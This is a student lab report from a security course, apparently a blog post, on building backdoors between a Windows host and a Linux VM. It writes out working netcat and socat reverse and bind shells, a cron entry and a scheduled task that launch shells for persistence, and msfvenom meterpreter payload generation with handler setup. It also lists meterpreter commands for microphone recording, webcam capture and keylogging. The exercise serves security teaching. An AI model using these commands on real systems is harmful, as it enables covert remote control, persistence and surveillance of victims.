20164305 徐广皓 Exp2 后门原理与实践

实验内容

  • (1)使用netcat获取主机操作Shell,cron启动
  • (2)使用socat获取主机操作Shell, 任务计划启动
  • (3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
  • (4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
  • (5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。加分内容一并写入本实验报告。

实验环境

  • Windows主机IP:192.168.6.144
  • Linux虚拟机IP:192.168.80.129

实验工具

  • netcat。在linux下叫ncat,kali机自带,windows7/10中,需下载,可直接使用。
  • socat。netcat的增强版。安装方法同上。
  • meterpreter。kali机自带,只在kali中用

实验步骤

1.使用netcat获取主机操作Shell

(1)Windows为攻击方

  • win中使用ncat监听4305端口:ncat.exe -l -p 4305
  • Linux中输入指令:nc 192.168.6.144 4305 -e /bin/sh 反弹连接Windows(指令中的ip地址需为Windows ip)

(2)Linux为攻击方

  • 在Linux中监听4316端口:nc -l -p 4305
  • 在Windows输入指令 ncat.exe -e cmd.exe 192.168.80.129 4305 反弹连接Linux的4305端口(指令中的ip地址需为Linux ip)

2.使用netcat获取主机操作Shell,cron启动 

        cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程,与windows下的计划任务类似,当安装完成操作系统后,默认会安装此服务 工具,并且会自动启动cron进程,cron进程每分钟会定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。

        crontab文件的含义:

        用户所建立的crontab文件中,每一行都代表一项任务,每行的每个字段代表一项设置,它的格式共分为六个字段,前五段是时间设定段,第六段是要执行的命令段,格式如下:minute hour day month week command

      (1)用 crontab -e 指令编辑定时任务,选择3,也就是基本的vim编辑器(1也可以),vim编辑器中用 i 改为插入模式,在最后一行插入 59 * * * * /bin/netcat 192.168.6.144 4305 -e /bin/sh ,然后输入 wq! 保存并退出,上述指令表示每天每时的59分,都会反向连接Windows本机的4305端口,就会启动cron

(2)在59分时输入ls,发现corn启动

3.使用socat获取主机操作Shell, 任务计划启动

     socatncat的增强版,socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。作为一款双向数据流通道工具,它拥有许多强大的功能:端口的连接、端口侦听、收发文件、传递shell、端口转发、端口扫描等。

    (1)右键开始菜单,选择计算机管理,点击任务管理计划库“创建任务”,填写任务名称,新建一个触发器。同时创建新操作,在操作->程序或脚本中选择 socat.exe 文件的路径,在添加参数一栏填写  tcp-listen:4305 exec:cmd.exe,pty,stderr  ,这个命令的作用是把cmd.exe绑定到端口4305,同时把cmd.exe的stderr重定向到stdout上

 

(2)按快捷键win+L即能锁定计算机,创建的任务开始运行。此时在Linux中输入指令 socat - tcp:192.168.6.144:4305 ,发现成功获得了cmd.exe,能够输入Windows的命令

 

3.使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

(1)Linux中输入指令生成后门程序(反弹链接地址应为Linux地址,部分上届博客存在错误),并使用ncat传输已经生成的20164305.exe程序文件。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.129 LPORT=4305 -f exe > 20164305.exe
ncat.exe -lv 4305 > 20164305.exe
nc 192.168.6.144 4305< 20164305.exe

(2)在Linux中输入指令msfconsole,进入msf命令行,msf启动监听前需要进行一些设置

1 use exploit/multi/handler    
2 set payload windows/x64/meterpreter/reverse_tcp  
3 show options  
4 set LHOST 192.168.80.129  
5 set LPORT 4305
6 exploit 

(3)启动监听后再在win中运行后门程序,此时Linux上已经获得了Windows主机的连接,并且得到了远程控制的shell,能够输入Windows中的命令。

4.使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 

record_mic//截获音频
webcam_snap//使用摄像头
screenshot//进行截屏
keyscan_start//记录下击键的过程
keyscan_dump//读取击键的记录

5.可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

(1)按照正常思路,先利用msf生成shellcode代码(直接贴图了)

(2)然后按实验一中的步骤确定缓冲区临界点位置,然后将数据注入

(3)按第三部进行监听,然后就变成了一直等待

(4)经过查找msfvenom的指令手册,结合其他同学做法更改后门生成代码方式为 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.80.129 LPORT=4305 -x /home+/pwn1 -f elf > pwn2 ,结果就成功了????(先把博客写了,然后去看看pwn2与我自己构造的区别)

 

 (5)我又尝试将生成的c代码放到c语言程序中编译,发现编译后的exe也可以作为后门(只不过 杀软后就被自动清除了o(╥﹏╥)o)

实验基础问题回答:

  (1)例举你能想到的一个后门进入到你系统中的可能方式?

  答:通过访问钓鱼网站,自动下载。

  (2)例举你知道的后门如何启动起来(win及linux)的方式?

  答:与其他软件进行捆绑,同时启动。

  (3)Meterpreter有哪些给你映像深刻的功能?

  答:能提升权限(这就有点无敌了.......).

  (4)如何发现自己有系统有没有被安装后门?

  答:借助外界软件,例如360安全软件和防火墙,或者查看任务管理器,禁用不认识的后台。

实验收获

        后门很有趣,要在研究一下msfvenom是怎么把shellcode注入pwn1里的。

posted @ 2019-03-24 16:35  醉落  阅读(166)  评论(0编辑  收藏